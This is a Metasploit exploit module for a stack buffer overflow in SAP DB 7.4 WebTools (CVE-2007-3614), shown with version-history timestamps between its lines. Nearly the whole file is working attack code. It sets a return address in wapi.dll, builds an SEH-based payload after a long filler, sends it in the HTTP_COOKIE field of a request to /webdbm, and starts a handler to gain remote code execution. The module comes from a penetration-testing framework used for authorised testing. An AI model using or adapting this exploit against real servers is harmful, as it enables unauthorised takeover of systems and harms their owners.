Files
metasploit-gs/modules/exploits/windows/http/sapdb_webtools.rb
T

86 lines
2.1 KiB
Ruby
Raw Normal View History

2007-07-11 21:16:30 +00:00
##
2007-09-10 01:01:20 +00:00
# $Id$
2007-07-11 21:16:30 +00:00
##
##
# This file is part of the Metasploit Framework and may be subject to
2007-07-11 21:16:30 +00:00
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
2007-07-11 21:16:30 +00:00
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = GreatRanking
2007-07-11 21:16:30 +00:00
2010-07-14 00:02:21 +00:00
HttpFingerprint = { :pattern => [ /SAP-Internet-SapDb-Server\// ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh
2007-07-11 21:16:30 +00:00
def initialize(info = {})
super(update_info(info,
2007-07-11 21:16:30 +00:00
'Name' => 'SAP DB 7.4 WebTools Buffer Overflow',
'Description' => %q{
2010-05-09 17:45:00 +00:00
This module exploits a stack buffer overflow in SAP DB 7.4 WebTools.
By sending an overly long GET request, it may be possible for
2010-07-16 02:33:25 +00:00
an attacker to execute arbitrary code.
2007-07-11 21:16:30 +00:00
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
2007-09-10 01:01:20 +00:00
'Version' => '$Revision$',
2007-07-11 21:16:30 +00:00
'References' =>
[
[ 'CVE', '2007-3614' ],
2009-07-16 16:02:24 +00:00
[ 'OSVDB', '37838' ],
[ 'BID', '24773' ],
2007-07-11 21:16:30 +00:00
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 850,
'BadChars' => "\x00",
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
2010-07-16 02:33:25 +00:00
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
'EncoderOptions' =>
{
'BufferRegister' => 'ECX',
},
2007-07-11 21:16:30 +00:00
},
'Platform' => 'win',
'Targets' =>
2007-07-11 21:16:30 +00:00
[
[ 'SAP DB 7.4 WebTools', { 'Ret' => 0x1003c95a } ], # wapi.dll 7.4.3.0
2007-07-11 21:16:30 +00:00
],
'DisclosureDate' => 'Jul 5 2007',
2007-07-11 21:16:30 +00:00
'DefaultTarget' => 0))
register_options( [ Opt::RPORT(9999) ], self.class )
2007-07-11 21:16:30 +00:00
end
def exploit
2007-07-11 21:16:30 +00:00
filler = rand_text_alphanumeric(20774)
seh = generate_seh_payload(target.ret)
2010-07-16 02:33:25 +00:00
2007-07-11 21:16:30 +00:00
sploit = filler + seh + rand_text_alphanumeric(3000)
print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret)
2010-07-16 02:33:25 +00:00
res = send_request_raw(
{
'uri' => '/webdbm',
'query' => 'Event=DBM_INTERN_TEST&Action=REFRESH&HTTP_COOKIE=' + sploit
}, 5)
2007-07-11 21:16:30 +00:00
handler
2007-07-11 21:16:30 +00:00
end
2009-07-16 16:02:24 +00:00
end